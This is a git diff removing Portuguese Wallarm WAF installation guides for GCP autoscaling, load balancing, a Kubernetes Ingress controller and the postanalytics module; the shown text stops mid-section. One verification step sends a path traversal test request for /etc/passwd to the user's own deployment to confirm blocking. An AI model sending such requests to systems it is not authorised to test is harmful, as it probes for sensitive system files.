https://cloud.google.com/compute/docs/autoscaler/scaling-cpu-load-balancing -[link-http-load-balancing-policy]: https://cloud.google.com/compute/docs/autoscaler/scaling-cpu-load-balancing#scaling_based_on_https_load_balancing_serving_capacity -[link-stackdriver-monitoring-metric-policy]: https://cloud.google.com/compute/docs/autoscaler/scaling-stackdriver-monitoring-metrics -[link-multiple-metrics-policy]: https://cloud.google.com/compute/docs/autoscaler/multiple-policies -[link-creating-load-balancer]: load-balancing-guide.md - -# Criando um grupo de instâncias gerenciado com auto scaling habilitado - -Para criar um grupo de instâncias gerenciado e configurar o auto scaling, siga os passos abaixo: - -1. Navegue até a página **Grupos de instâncias** na seção **Máquina de Computação** do menu e clique no botão **Criar grupo de instâncias**. - - ![Criando um grupo de instâncias][img-creating-instance-group] - -2. Digite o nome do grupo de instâncias no campo **Nome**. - -3. Selecione **Grupo de instâncias gerenciadas** na configuração de **Tipo de grupo**. - -4. Habilite o auto scaling para o grupo de instâncias selecionando a opção **On** na lista suspensa **Auto scaling**. - -5. Selecione a política de scaling necessária na lista suspensa da **Política de auto scaling**. - - As políticas de scaling contêm regras para aumentar e diminuir o tamanho do grupo de instâncias. O sistema determina quando deve adicionar ou remover uma instância do grupo para manter a métrica em que a política se baseia no nível alvo definido pelo usuário. - - É possível selecionar uma das seguintes políticas: - - 1. Uso de CPU: O tamanho do grupo é controlado para manter a carga média do processador das máquinas virtuais do grupo no nível exigido ([documentação da política de uso de CPU][link-cpu-usage-policy]). - 2. Uso de Balanceamento de Carga HTTP: O tamanho do grupo é controlado para manter a carga do balanceador de tráfego HTTP no nível necessário ([documentação da política de uso do balanceamento de carga HTTP][link-http-load-balancing-policy]). - 3. Métrica de Monitoramento Stackdriver: O tamanho do grupo é controlado para manter a métrica selecionada do instrumento de Monitoramento Stackdriver no nível necessário ([documento da política de métrica de monitoramento Stackdriver][link-stackdriver-monitoring-metric-policy]). - 4. Múltiplas métricas: A decisão de alterar o tamanho do grupo é baseada em várias métricas ([documentação da política de várias métricas][link-multiple-metrics-policy]). - - Este guia utiliza a política de **Uso de CPU** para demonstrar os princípios do funcionamento do mecanismo de auto scaling. - - Para aplicar esta política, especificar o nível de carga média exigido dos processadores no campo **Uso de CPU alvo** (em percentagens). - - !!! info "Exemplo" - A configuração a seguir descreve o controle do tamanho do grupo de instâncias para manter a carga média dos processadores da máquina virtual no nível de 60 por cento. - ![Exemplo: criando um grupo de instâncias][img-create-instance-group-example] - -6. Especifique o tamanho mínimo do grupo de instâncias no campo **Número mínimo de instâncias** (por exemplo, duas instâncias). - -7. Especifique o tamanho máximo do grupo de instâncias no campo **Número máximo de instâncias** (por exemplo, 10 instâncias). - -8. Especifique o período durante o qual os valores métricos não devem ser registrados na instância recém-adicionada, no campo **Período de arrefecimento** (por exemplo, 60 segundos). Isto pode ser necessário se observar saltos no consumo de recursos após a adição de uma nova instância. - - !!! info "Requisitos de período de arrefecimento" - O período de arrefecimento deve ser mais longo que o tempo necessário para a inicialização da instância. - -9. Certifique-se de que todos os parâmetros do grupo de instâncias estão corretamente configurados e, em seguida, clique no botão **Criar**. - -O número especificado de instâncias será automaticamente lançado após a criação bem-sucedida do grupo de auto scaling. - -É possível verificar se o grupo de auto scaling foi criado corretamente, vendo o número de instâncias lançadas no grupo e comparando este ponto de dados com o número de nós de filtragem conectados ao Wallarm Cloud. - -Isto pode ser feito usando o Console Wallarm. Por exemplo, se duas instâncias com nós de filtro estiverem operando simultaneamente, o Console Wallarm mostrará esse número para o respectivo nó Wallarm na seção **Nós**. - -![A aba **Nós** na interface web Wallarm][img-checking-nodes-operation] - -Agora você pode prosseguir com a [criação e configuração do balanceador de carga][link-creating-load-balancer]. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/creating-instance-template.md b/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/creating-instance-template.md deleted file mode 100644 index 5cba8bc650..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/creating-instance-template.md +++ /dev/null @@ -1,36 +0,0 @@ -# Criando um modelo de instância de nó de filtragem no GCP - -[img-creating-template]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/create-instance-template.png -[img-selecting-image]: ../../../images/installation-gcp/auto-scaling/common/autoscaling-group-guide/select-image.png - -[link-creating-image]: create-image.md -[link-creating-instance-group]: creating-autoscaling-group.md - -Um modelo de instância de nó de filtragem será usado posteriormente como base ao criar um grupo de instâncias gerenciadas. Para criar um modelo de instância de nó de filtragem, faça o seguinte: - -1. Navegue para a página **Modelos de instância** na seção **Compute Engine** do menu e clique no botão **Criar modelo de instância**. - - ![Criando um modelo de instância][img-creating-template] - -2. Digite o nome do modelo no campo **Nome**. -3. Selecione o tipo de máquina virtual a ser usado para lançar uma máquina virtual com o nó de filtragem no campo **Tipo de máquina**. - - !!! warning "Selecione o tipo de instância adequado" - Selecione o mesmo tipo de instância que você usou quando inicialmente configurou o nó de filtragem (ou um mais poderoso). - - Usar um tipo de instância menos poderoso pode levar a problemas na operação do nó de filtragem. - -4. Clique no botão **Alterar** na configuração **Disco de inicialização**. Na janela que aparece, navegue para a guia **Imagens personalizadas** e selecione o nome do projeto onde você criou sua imagem de máquina virtual na lista suspensa **Mostrar imagens de**. Selecione a [imagem criada anteriormente][link-creating-image] na lista de imagens disponíveis do projeto e clique no botão **Selecionar**. - - ![Selecionando uma imagem][img-selecting-image] - -5. Para que as instâncias baseadas no modelo sejam idênticas à instância básica, configure todos os parâmetros restantes da mesma maneira que você configurou os parâmetros ao [criar sua instância básica][link-creating-image]. - - !!! info "Configurando o firewall" - Certifique-se de que o firewall não bloqueia o tráfego HTTP para o modelo criado. Para habilitar o tráfego HTTP, selecione a caixa de seleção **Permitir tráfego HTTP**. - - --8<-- "../include-pt-BR/gcp-autoscaling-connect-ssh.md" - -6. Clique no botão **Criar** e aguarde até que o processo de criação do modelo esteja concluído. - -Após criar o modelo de instância, você pode prosseguir com a [criação de um grupo de instâncias gerenciadas][link-creating-instance-group] com dimensionamento automático ativado. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/load-balancing-guide.md b/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/load-balancing-guide.md deleted file mode 100644 index 83c1b67cc8..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-guides/google-cloud/load-balancing-guide.md +++ /dev/null @@ -1,124 +0,0 @@ -[link-doc-asg-guide]: creating-autoscaling-group.md -[link-docs-check-operation]: /admin-en/installation-check-operation-en.md -[link-lb-comparison]: https://cloud.google.com/load-balancing/docs/load-balancing-overview -[link-creating-instance-group]: creating-autoscaling-group.md -[link-backup-resource]: https://cloud.google.com/load-balancing/docs/target-pools#backupPool -[link-health-check]: https://cloud.google.com/load-balancing/docs/health-checks -[link-session-affinity]: https://cloud.google.com/load-balancing/docs/target-pools#sessionaffinity -[link-test-attack]: ../../installation-check-operation-en.md -[link-network-service-tier]: https://cloud.google.com/network-tiers/docs/ - -[img-backend-configuration]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/backend-configuration.png -[img-creating-lb]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/creating-load-balancer.png -[img-creating-tcp-lb]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/creating-tcp-load-balancer.png -[img-new-frontend-ip-and-port]: ../../../images/installation-gcp/auto-scaling/common/load-balancing-guide/frontend-configuration.png -[img-checking-attacks]: ../../../images/admin-guides/test-attacks-quickstart.png - - -# Configurando o balanceamento de solicitações de entrada no GCP - -Agora que você tem um [grupo de instâncias gerenciadas configurado][link-doc-asg-guide] com auto escalonamento ativado, você precisa criar e configurar um Load Balancer que distribui as conexões HTTP e HTTPS que chegam entre vários nós de filtragem do grupo de instâncias. - -Você pode configurar os seguintes tipos de Load Balancers na Google Cloud Platform: -* Load Balancer HTTP(S) -* Load Balancer TCP -* Load Balancer UDP - -!!! info "As diferenças entre os Load Balancers" - Para informações detalhadas sobre as diferenças entre Load Balancers, prossiga para este [link][link-lb-comparison]. - -Este documento demonstra como configurar e usar o Load Balancer TCP que distribui o tráfego no nível de transporte do modelo de rede OSI/ISO. - -Crie um Load Balancer TCP para seu grupo de instâncias, completando as seguintes ações: - -1. Navegue até a página **Balanceamento de carga** na seção **Serviços de rede** do menu e clique no botão **Criar balanceador de carga**. - -2. Clique no botão **Iniciar configuração** no cartão **Balanceamento de carga TCP**. - -3. Selecione as opções necessárias nas seguintes configurações: - - 1. Selecione a opção **Da Internet para minhas VMs** na configuração **Voltado para a internet ou apenas para uso interno** para que o balanceador de carga controle as solicitações de entrada do cliente para seu servidor. - - 2. Selecione a opção **Apenas uma região** na configuração **Múltiplas regiões ou apenas uma região**. - - !!! info "Balanceamento de tráfego para recursos localizados em diferentes regiões" - Este guia descreve a configuração do balanceador de carga para um grupo de instâncias localizado em uma única região. - - No caso de balanceamento de tráfego para vários recursos localizados em várias regiões, selecione a opção **Múltiplas regiões (ou ainda não tenho certeza)**. - - ![Criando um balanceador de carga][img-creating-lb] - - Clique no botão **Continuar**. - -4. Insira o nome do balanceador de carga no campo **Nome**. - -5. Clique em **Backend configuration** para usar o [grupo de instâncias criado][link-creating-instance-group] como backend para o qual o balanceador de carga roteará as solicitações de entrada. - -6. Preencha o formulário com os seguintes dados: - - 1. Selecione a região onde o grupo de instâncias está localizado na lista suspensa **Região**. - - 2. Navegue até a aba **Selecionar grupos de instâncias existentes** na configuração **Backends** e selecione o nome do grupo de instâncias na lista suspensa **Adicionar um grupo de instâncias**. - - 3. Se necessário, especifique o reservatório de backup selecionando a opção **Criar um reservatório de backup** na lista suspensa **Reservatório de backup**. - - !!! info "Usando um reservatório de backup" - Um reservatório de backup processa as solicitações se o grupo de instâncias selecionado na configuração anterior estiver indisponível. Para informações detalhadas sobre a configuração de um reservatório de backup, prossiga para este [link][link-backup-resource]. - - Este documento não descreve a configuração do reservatório de backup. - - 4. Se necessário, configure a verificação de disponibilidade das instâncias do grupo selecionando a opção **Criar uma verificação de saúde** na lista suspensa **Verificação de saúde**. Para informações detalhadas sobre a verificação de disponibilidade da máquina, prossiga para este [link][link-health-check]. - - !!! info "A verificação de disponibilidade" - A verificação de disponibilidade não é configurada neste documento. Assim, aqui a opção **Sem verificação de saúde** é selecionada na lista suspensa **Verificação de saúde**. - - 5. Se necessário, configure o método de escolha de uma instância para processamento de solicitações selecionando a opção correspondente na lista suspensa **Afinidade de sessão**. Informações detalhadas sobre a seleção de uma instância para processamento de solicitações estão disponíveis neste [link][link-session-affinity]. - - !!! info "Configurando um método de escolha de uma instância" - O método de escolha de uma instância para processamento de solicitações não está no escopo deste documento. Assim, aqui a opção **Nenhuma** é selecionada na lista suspensa **Afinidade de sessão**. - - ![Configurando um backend][img-backend-configuration] - -7. Clique no botão **Frontend configuration** para especificar os endereços IP e as portas para as quais os clientes enviarão suas solicitações. - -8. Preencha o formulário para a criação de novos endereços de IP e portas com os dados necessários: - - 1. Se necessário, insira o nome do novo par de endereço IP e porta no campo **Nome**. - - 2. Selecione a categoria de serviço de rede necessária na configuração **Categoria de serviço de rede**. Para obter informações detalhadas sobre as classes de serviço de rede, prossiga para este [link][link-network-service-tier]; - - 3. Selecione o endereço IP onde o balanceador de carga receberá solicitações na lista suspensa **IP**. - - 1. Selecione a opção **Efêmero** se você quiser que o balanceador de carga obtenha um novo endereço IP a cada inicialização da máquina virtual. - - 2. Selecione a opção **Criar endereço IP** para gerar um endereço IP estático para o seu balanceador de carga. - - No formulário que aparece, insira o nome do novo endereço IP no campo **Nome** e clique no botão **Reservar**. - - 4. Insira a porta onde o balanceador de carga receberá solicitações no campo **Porta**. - - !!! info "Escolhendo a porta" - Neste documento, a porta `80` é especificada para receber solicitações via protocolo HTTP. - - ![Formulário de criação de novo IP e porta frontend][img-new-frontend-ip-and-port] - - Clique no botão **Concluído** para criar o par de endereço IP e porta configurados. - - !!! info "Portas frontend necessárias" - Neste documento, o balanceador é configurado para receber solicitações via protocolo HTTP. Se o seu grupo de instâncias recebe solicitações via protocolo HTTPS, crie outro par de endereço IP e porta que especifica a porta `443`. - -9. Clique no botão **Criar** para criar o balanceador de carga configurado. - - ![Criando um balanceador de carga TCP][img-creating-tcp-lb] - -Aguarde até que o processo de criação do balanceador de carga seja concluído e o balanceador de carga se conecte ao grupo de instâncias que você criou anteriormente. - -Porque o balanceador de carga TCP criado usa o serviço de backend (que trabalha juntamente com o backend criado para o seu grupo de instâncias), o grupo de instâncias não requer nenhuma modificação de configuração para que o balanceador se conecte a ele. - -Agora o conjunto de nós de filtragem Wallarm de escala dinâmica processará o tráfego de entrada para a sua aplicação. - -Para verificar a operação dos nós de filtragem implantados, execute as seguintes etapas: -1. Certifique-se de que sua aplicação é acessível através do balanceador de carga e dos nós de filtragem Wallarm referindo-se ao endereço IP do balanceador ou nome de domínio usando seu navegador. -2. Certifique-se de que os serviços Wallarm protegem sua aplicação [realizando um ataque de teste][link-test-attack]. - -![A aba «Eventos» na interface web Wallarm][img-checking-attacks] \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-kubernetes-en.md b/docs/latest-pt-BR/admin-en/installation-kubernetes-en.md deleted file mode 100644 index 0136c337ef..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-kubernetes-en.md +++ /dev/null @@ -1,145 +0,0 @@ -# Implantando o NGINX Ingress Controller com Serviços Integrados Wallarm - -Estas instruções fornecem os passos para implantar o controlador de ingresso Wallarm NGINX-based em seu cluster K8s. A solução envolve a funcionalidade padrão do [Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx) com serviços integrados Wallarm. - -!!! warning - The Kubernetes community will [retire the Community Ingress NGINX in March 2026](https://blog.nginx.org/blog/the-ingress-nginx-alternative-open-source-nginx-ingress-controller-for-the-long-term). The Wallarm NGINX Ingress Controller based on this project will be supported through the same date. You can continue using it until then, and it will remain fully functional during the support window. - - Wallarm will provide alternative deployment options and migration guidance as they become available. [Details](../updating-migrating/nginx-ingress-retirement.md) - - An [Envoy/Istio-based connector](../installation/connectors/istio.md) is also available today for environments already using Envoy. - -A solução tem a seguinte arquitetura: - -![Arquitetura da solução][nginx-ing-image] - -A solução é implantada a partir do Wallarm Helm chart. - -## Casos de uso - -Entre todas as [opções de implantação Wallarm suportadas][deployment-platform-docs], esta solução é a recomendada para os seguintes **casos de uso**: - -* Não há controlador de ingresso e camada de segurança direcionando tráfego para recursos de ingresso compatíveis com o [Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx). -* Você está usando o [Community Ingress NGINX Controller](https://github.com/kubernetes/ingress-nginx) e procura uma solução de segurança compatível com sua pilha de tecnologia. - - Você pode substituir perfeitamente o Controlador de Ingresso NGINX implantado pelo descrito nestas instruções, apenas movendo sua configuração para uma nova implantação. - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/requirements-nginx-ingress-controller-latest.md" - -!!! info "Veja também" - * [O que é Ingress?](https://kubernetes.io/docs/concepts/services-networking/ingress/) - * [Instalação do Helm](https://helm.sh/docs/intro/install/) - -## Restrições conhecidas - -* A operação sem o módulo postanalytics não é suportada. -* A redução de escala do módulo postanalytics pode resultar em uma perda parcial dos dados do ataque. - -## Instalação - -1. [Instale](#step-1-installing-the-wallarm-ingress-controller) o Wallarm Ingress Controller. -2. [Habilite](#step-2-enabling-traffic-analysis-for-your-ingress) a análise de tráfego para seu Ingress. -3. [Verifique](#step-3-checking-the-wallarm-ingress-controller-operation) a operação do Wallarm Ingress Controller. - -### Passo 1: Instalando o Wallarm Ingress Controller - -Para instalar o Wallarm Ingress Controller: - -1. Gere um token de nó de filtração do [tipo apropriado][node-token-types]: - - === "Token API (Helm chart 4.6.8 e acima)" - 1. Abra Wallarm Console → **Settings** → **API tokens** na [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) ou [EU Cloud](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token API com o papel de origem `Deploy`. - 1. Copie este token. - === "Token do nó" - 1. Abra o Console Wallarm → **Nodes** na [US Cloud](https://us1.my.wallarm.com/nodes) ou [EU Cloud](https://my.wallarm.com/nodes). - 1. Crie um nó de filtragem com o tipo **Wallarm node** e copie o token gerado. - - ![Criação de um nó Wallarm][nginx-ing-create-node-img] -1. Crie um espaço de nomes Kubernetes para implantar o Helm chart com o Wallarm Ingress Controller: - - ```bash - kubectl create namespace - ``` -1. Adicione o [repositório do gráfico Wallarm](https://charts.wallarm.com/): - - ``` - helm repo add wallarm https://charts.wallarm.com - ``` -1. Crie o arquivo `values.yaml` com a [configuração Wallarm][configure-nginx-ing-controller-docs]. Exemplo do arquivo com a configuração mínima está abaixo. - - Ao usar um token de API, especifique um nome de grupo de nós no parâmetro `nodeGroup`. Seu nó será atribuído a este grupo, mostrado na seção **Nodes** do Console Wallarm. O nome do grupo padrão é `defaultIngressGroup`. - - === "US Cloud" - ```yaml - controller: - wallarm: - enabled: "true" - token: "" - apiHost: "us1.api.wallarm.com" - # nodeGroup: defaultIngressGroup - ``` - === "EU Cloud" - ```yaml - controller: - wallarm: - enabled: "true" - token: "" - # nodeGroup: defaultIngressGroup - ``` - - Você também pode armazenar o token de nó Wallarm em segredos do Kubernetes e puxá-lo para o Helm chart. [Leia mais][controllerwallarmexistingsecret-docs] -1. Instale os pacotes Wallarm: - - ``` bash - helm install --version 4.8.2 wallarm/wallarm-ingress -n -f - ``` - - * `` é o nome para a versão Helm do gráfico do controlador de ingresso - * `` é o namespace Kubernetes que você criou para o Helm chart com o Wallarm Ingress Controller - * `` é o caminho para o arquivo `values.yaml` - -### Passo 2: Habilitando a análise de tráfego para o seu Ingress - -``` bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-mode=monitoring -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-application= -``` -* `` é o nome do seu Ingress -* `` é o namespace do seu Ingress -* `` é um número positivo que é único para cada uma de [suas aplicações ou grupos de aplicações][application-docs]. Isso permitirá que você obtenha estatísticas separadas e distinga entre ataques direcionados às aplicações correspondentes - -### Passo 3: Verificando a operação do Wallarm Ingress Controller - -1. Pegue a lista de pods: - ``` - kubectl get pods -n -l app.kubernetes.io/name=wallarm-ingress - ``` - - Cada pod deve exibir o seguinte: **STATUS: Running** e **READY: N/N**. Por exemplo: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-nginx-ingress-controller-675c68d46d-cfck8 3/3 Running 0 5m - ingress-controller-nginx-ingress-controller-wallarm-tarantljj8g 4/4 Running 0 5m - ``` -2. Envie a solicitação com o teste [Path Traversal][ptrav-attack-docs] ataque para o Ingress Controller Service: - - ```bash - curl http:///etc/passwd - ``` - - Se o nó de filtragem estiver funcionando no modo `block`, o código `403 Forbidden` será retornado na resposta à solicitação e o ataque será exibido em Wallarm Console → **Events**. - -## Configuração - -Após a instalação e verificação bem-sucedida do Wallarm Ingress Controller, você pode fazer configurações avançadas para a solução, como: - -* [Relatórios corretos do endereço IP público do usuário final][best-practices-for-public-ip] -* [Gerenciamento do bloqueio de endereços IP][ip-lists-docs] -* [Considerações de alta disponibilidade][best-practices-for-high-availability] -* [Monitoramento do Ingress Controller][best-practices-for-ingress-monitoring] - -Para encontrar parâmetros usados para configuração avançada e instruções apropriadas, por favor, siga o [link][configure-nginx-ing-controller-docs]. diff --git a/docs/latest-pt-BR/admin-en/installation-nginx-overview.md b/docs/latest-pt-BR/admin-en/installation-nginx-overview.md deleted file mode 100644 index 3732eb81ff..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-nginx-overview.md +++ /dev/null @@ -1,60 +0,0 @@ -# Visão geral das opções de instalação - -[img-postanalytics-options]: ../images/installation-nginx-overview/postanalytics-options.png -[img-nginx-options]: ../images/installation-nginx-overview/nginx-options.png - -[anchor-mod-overview]: #modules-overview -[anchor-mod-installation]: #installing-and-configuring-the-modules -[anchor-mod-inst-nginx]: #module-for-nginx -[anchor-mod-inst-nginxplus]: #module-for-nginx-plus -[anchor-mod-inst-postanalytics]: #postanalytics-module - -[link-ig-nginx]: ../installation/nginx/dynamic-module.md -[link-ig-nginx-distr]: ../installation/nginx/dynamic-module-from-distr.md -[link-ig-nginxplus]: ../installation/nginx-plus.md - -O nó de filtragem Wallarm utilizado com NGINX ou NGINX Plus consiste nos seguintes módulos: -* O módulo que se conecta ao NGINX (NGINX Plus) -* O módulo pós-análise - -A ordem de instalação e configuração dos módulos depende da maneira como você instala o NGINX ou NGINX Plus. - -Este documento contém as seguintes seções: - -* [Visão geral dos módulos][anchor-mod-overview] -* [Links][anchor-mod-installation] para instruções de instalação e configuração do módulo específico - -## Visão geral dos módulos - -Quando o nó de filtragem é utilizado para processar solicitações, o tráfego de entrada passa sequencialmente pelo processamento inicial e em seguida pelo processamento pelos módulos Wallarm. - -1. O processamento inicial de tráfego é realizado pelo módulo que se conecta ao [NGINX][anchor-mod-inst-nginx] ou [NGINX Plus][anchor-mod-inst-nginxplus] já instalado no sistema. -2. O processamento de tráfego adicional é realizado pelo [módulo pós-análise][anchor-mod-inst-postanalytics], que requer uma quantidade significativa de memória para funcionar corretamente. Portanto, você pode escolher uma das seguintes opções de instalação: - * Instalado nos mesmos servidores que NGINX/NGINX Plus (se as configurações do servidor permitirem) - * Instalado em um grupo de servidores separados do NGINX/NGINX Plus - -![Opções de Instalação do Módulo Pós-análise][img-postanalytics-options] - -## Instalando e configurando os módulos - -### Módulo para NGINX - -!!! warning "Selecionando o módulo para instalar" - Os procedimentos de instalação e conexão do módulo Wallarm dependem do método de instalação do NGINX que você está usando. - -O módulo Wallarm para NGINX pode ser conectado por um dos seguintes métodos de instalação (links para instruções de cada uma das opções de instalação estão listadas nos parênteses): - -![Opções de Instalação do Módulo para NGINX][img-nginx-options] - -* Construindo NGINX a partir dos arquivos de origem ([instrução][link-ig-nginx]) -* Instalando pacotes NGINX do repositório NGINX ([instrução][link-ig-nginx]) -* Instalando pacotes NGINX do repositório Debian ([instrução][link-ig-nginx-distr]) -* Instalando pacotes NGINX do repositório CentOS ([instrução][link-ig-nginx-distr]) - -### Módulo para NGINX Plus - -[Estas][link-ig-nginxplus] instruções descrevem como conectar o Wallarm a um módulo NGINX Plus. - -### Módulo pós-análise - -As instruções sobre a instalação e configuração do módulo pós-análise (seja no mesmo servidor com NGINX/NGINX Plus ou em um servidor separado) estão localizadas na seção de instalação do módulo [NGINX][anchor-mod-inst-nginx] e na seção de instalação do módulo [NGINX Plus][anchor-mod-inst-nginxplus]. \ No newline at end of file diff --git a/docs/latest-pt-BR/admin-en/installation-postanalytics-en.md b/docs/latest-pt-BR/admin-en/installation-postanalytics-en.md deleted file mode 100644 index 8774933546..0000000000 --- a/docs/latest-pt-BR/admin-en/installation-postanalytics-en.md +++ /dev/null @@ -1,572 +0,0 @@ -[tarantool-status]: ../images/tarantool-status.png -[configure-selinux-instr]: configure-selinux.md -[configure-proxy-balancer-instr]: configuration-guides/access-to-wallarm-api-via-proxy.md -[img-wl-console-users]: ../images/check-user-no-2fa.png -[wallarm-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - -# Instalação do Módulo Postanalytics Separado - -No processamento de solicitações da Wallarm, são envolvidas duas etapas, incluindo a etapa de pós-análise para análise estatística da solicitação. A pós-análise consome muita memória, o que pode exigir que seja realizada em um servidor dedicado para um desempenho otimizado. Este artigo explica como instalar o módulo de pós-análise em um servidor separado. - -A opção de instalar o módulo de pós-análise em um servidor separado está disponível para os seguintes artefatos Wallarm: - -* [Pacotes individuais para NGINX estável](../installation/nginx/dynamic-module.md) -* [Pacotes individuais para NGINX Plus](../installation/nginx-plus.md) -* [Pacotes individuais para a distribuição fornecida NGINX](../installation/nginx/dynamic-module-from-distr.md) -* [Instalador all-in-one](../installation/nginx/all-in-one.md) - -Por padrão, as instruções de implantação da Wallarm orientam você a instalar ambos os módulos no mesmo servidor. - -## Visão geral - -O processamento de solicitações no nó Wallarm consiste em duas etapas: - -* Processamento primário no módulo NGINX-Wallarm, que não consome muita memória e pode ser executado em servidores de frontend sem alterar os requisitos do servidor. -* Análise estatística das solicitações processadas no módulo de pós-análise que consome muita memória. - -Os esquemas abaixo representam a interação do módulo em dois cenários: quando instalado no mesmo servidor e em servidores diferentes. - -=== "NGINX-Wallarm e pós-análise em um servidor" - ![Fluxo de tráfego entre pós-análise e nginx-wallarm](../images/waf-installation/separate-postanalytics/processing-postanalytics-on-the-same-server.png) -=== "NGINX-Wallarm e pós-análise em servidores diferentes" - ![Fluxo de tráfego entre pós-análise e nginx-wallarm](../images/waf-installation/separate-postanalytics/processing-postanalytics-on-different-servers.png) - -## Métodos de instalação - -Você pode instalar o módulo de pós-análise em um servidor separado de duas maneiras diferentes: - -* [Usando o instalador all-in-one](#instalacao-automatica-all-in-one) (disponível a partir do nó Wallarm 4.6) - automatiza muitas atividades e facilita muito a implantação do módulo de pós-análise. Portanto, este é um método de instalação recomendado. -* [Manualmente](#instalacao-manual) - use para versões de nó mais antigas. - -Ao instalar o módulo de filtragem e pós-análise separadamente, você pode combinar as abordagens manual e automática: instale a parte de pós-análise manualmente e depois a parte de filtragem com o instalador all-in-one, e vice-versa: a parte de pós-análise com o instalador all-in-one e então a parte de filtragem manualmente. - -## Instalação automática all-in-one - -A partir do nó Wallarm 4.6, para instalar a pós-análise separadamente, recomenda-se usar a [instalação all-in-one](../installation/nginx/all-in-one.md#launch-options), que automatiza muitas atividades e facilita muito a implantação do módulo de pós-análise. - -### Requisitos - ---8<-- "../include-pt-BR/waf/installation/all-in-one/separate-postanalytics-reqs.md" - -### Passo 1: Baixe o instalador Wallarm all-in-one - -Para baixar o script de instalação all-in-one da Wallarm, execute o comando: - -=== "Versão x86_64" - ```bash - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.0.x86_64-glibc.sh - ``` -=== "Versão ARM64" - ```bash - curl -O https://meganode.wallarm.com/4.8/wallarm-4.8.0.aarch64-glibc.sh - ``` - -### Passo 2: Prepare o token Wallarm - -Para instalar o nó, você precisará de um token Wallarm do [tipo apropriado][wallarm-token-types]. Para preparar um token: - -=== "Token API" - - 1. Abra o Console Wallarm → **Configurações** → **Tokens API** em [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) ou [EU Cloud](https://my.wallarm.com/settings/api-tokens). - 2. Encontre ou crie um token API com a função de origem `Deploy`. - 3. Copie este token. - -=== "Token de nó" - - 1. Abra o Console Wallarm → **Nós** em [US Cloud](https://us1.my.wallarm.com/nodes) ou [EU Cloud](https://my.wallarm.com/nodes). - 2. Faça uma das seguintes ações: - * Crie o nó do tipo **Nó Wallarm** e copie o token gerado. - * Use o grupo de nós existente - copie o token usando o menu do nó → **Copiar token**. - -### Passo 3: Execute o instalador Wallarm all-in-one para instalar a pós-análise - -Para instalar a pós-análise separadamente com o instalador all-in-one, use: - -=== "Token API" - ```bash - # Se estiver usando a versão x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.x86_64-glibc.sh postanalytics - - # Se estiver usando a versão ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.aarch64-glibc.sh postanalytics - ``` - - A variável `WALLARM_LABELS` define o grupo em que o nó será adicionado (usado para agrupamento lógico de nós na UI do Console Wallarm). - -=== "Token de nó" - ```bash - # Se estiver usando a versão x86_64: - sudo sh wallarm-4.8.0.x86_64-glibc.sh postanalytics - - # Se estiver usando a versão ARM64: - sudo sh wallarm-4.8.0.aarch64-glibc.sh postanalytics - ``` - -### Passo 4: Instale o módulo NGINX-Wallarm em um servidor separado - -Uma vez que o módulo de pós-análise esteja instalado no servidor separado: - -1. Instale o módulo NGINX-Wallarm em um servidor diferente: - - === "Token API" - ```bash - # Se estiver usando a versão x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.x86_64-glibc.sh filtering - - # Se estiver usando a versão ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.8.0.aarch64-glibc.sh filtering - ``` - - A variável `WALLARM_LABELS` define o grupo em que o nó será adicionado (usado para agrupamento lógico de nós na UI do Console Wallarm). - - === "Token de nó" - ```bash - # Se estiver usando a versão x86_64: - sudo sh wallarm-4.8.0.x86_64-glibc.sh filtering - - # Se estiver usando a versão ARM64: - sudo sh wallarm-4.8.0.aarch64-glibc.sh filtering - ``` - -2. Realize as etapas pós-instalação, como habilitar a análise do tráfego, reiniciar o NGINX, configurar o envio de tráfego para a instância Wallarm, testar e ajustar, conforme descrito [aqui](../installation/nginx/all-in-one.md). - -### Passo 5: Conecte o módulo NGINX-Wallarm ao módulo de pós-análise - -Na máquina com o módulo NGINX-Wallarm, no arquivo de [configuração](https://docs.nginx.com/nginx/admin-guide/basic-functionality/managing-configuration-files/) do NGINX, especifique o endereço do servidor do módulo de pós-análise: - -``` -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; - } - - # omitido - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -* O valor `max_conns` deve ser especificado para cada um dos servidores upstream Tarantool para impedir a criação de conexões excessivas. -* O valor `keepalive` não deve ser menor do que o número de servidores Tarantool. -* A string `# wallarm_tarantool_upstream wallarm_tarantool;` está comentada por padrão - por favor, exclua `#`. - -Após a alteração do arquivo de configuração, reinicie NGINX/NGINX Plus no servidor do módulo NGINX-Wallarm: - -=== "Debian" - ```bash - sudo systemctl restart nginx - ``` -=== "Ubuntu" - ```bash - sudo service nginx restart - ``` -=== "CentOS" - ```bash - sudo systemctl restart nginx - ``` -=== "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ```bash - sudo systemctl restart nginx - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart nginx - ``` - -### Passo 6: 